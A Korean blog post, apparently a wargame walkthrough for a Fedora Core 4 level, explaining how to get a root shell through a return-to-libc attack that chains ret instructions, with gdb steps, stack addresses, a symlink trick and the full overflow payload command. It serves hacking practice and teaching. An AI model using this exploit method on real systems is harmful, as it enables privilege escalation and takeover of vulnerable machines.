1. Fedora Core 4 의 방어 매커니즘
FC3 -> FC4로 넘어오면서 함수의 인자 참조 방식이 ebp에서 esp로 바뀌었다.
$ gdb -q cr
(gdb) b main
(gdb) r
(gdb) disass execve
execve 함수가 esp + 12, esp + 16, esp + 20 으로 각각 첫 번째, 두 번째, 세 번째 인자를 받는다.
따라서 ebp 변조를 통해, 즉 SFP를 변조해서 RTL 기법을 사용할 수 없게 되었다.
(fake ebp 사용 불가능)
하지만 다수의 ret instruction으로 RTL 기법은 사용할 수 있다.
Ret instruction을 이용하여 스택 상 return address보다 낮은 곳에 있는, 즉 높은 주소에 있는 곳으로 esp를 내려 원하는 인자의 위치로 옮길 수 있다.
2. RTL을 이용한 root shell 실행
#FC4에서 RTL 공격을 하기 위해 필요한 정보
-buffer부터 SFP(Saved Frame Pointer), RET(Return Address)까지의 거리
-return address와 그 뒤를 덮을 ret instruction이 있는 주소
-실행할 함수의 주소
-RET보다 높은 주소에 있는 영역 중 인자로 참조하기에 적당한 주소
#취약점 가진 프로그램 gdb 분석
strcpy 함수 호출할 때 앞과 다르게 버퍼의 크기가 딱 256 바이트로 dummy가 사라졌다.
ret instruction의 주소는 0x08048451
#execl 함수에서 사용할 인자 찾기
Execl 함수에서 사용할 인자 찾기 위해 <main+108>에서 bp를 잡고 실행시켜보자.
0xbfe72868 부분에 0 값이 있어 NULL로 쓸 수 있기 때문에 그 바로 위에 있는 0x007bad44 영역을 보니
NULL 문자로 끝나는 긴 16진수가 있다.
”\x85\xc0\x75\x53\x65\xa1\x54”
이것을 실행파일명으로 사용하고, 0x007bad44을 execl 함수의 첫 번째 인자로 넣는다.
$ ln -n shell `python -c ‘print ”\x85\xc0\x75\x53\x65\xa1\x54”'`
#Execl 함수의 주소
#공격코드
Execl 함수와 인자 사이에 4 바이트를 띄워줘야 한다.
따라서 0x007bad44 영역 - 8바이트 위치에 execl 함수의 주소를 넣고, execl 함수 주소 넣는 전까지 ret instruction 주소로 채운다.
0x8048451은 esp에 대한 썰매의 역할을 해서, eip가 계속 ret 명령을 실행하게 되어 esp가 execl 함수 주소가 있는
0xbfcf574c까지 내려온다. 이 상태에서 ret instruction에 의해 eip가 execl 함수의 시작 주소로 들어가게 된다.
Buffer+SFP(260) + RET~0xbfcf5754-8 (12) + &execl(4)
$ ./cr `python -c ‘print ”A”*264+”\x51\x84\x04\x08”*12
+”\x68\x2d\x83”'`
FC4 RTL 기법을 연습하기 위해 FC4의 level 1을 사용한 것이다.
FC4 dark_stone -> cruel 문제 풀이 과정은 똑같지만 따로 쓰도록 하겠다.
[FC4] cruel -> enigma (0) | 2019.07.25 |
---|---|
[FC4] dark_stone -> cruel (0) | 2019.07.14 |
[FC4] 환경요약 (0) | 2019.07.13 |
[FC3] dark_stone (0) | 2019.07.12 |
[FC3] evil_wizard -> dark_stone (0) | 2019.07.12 |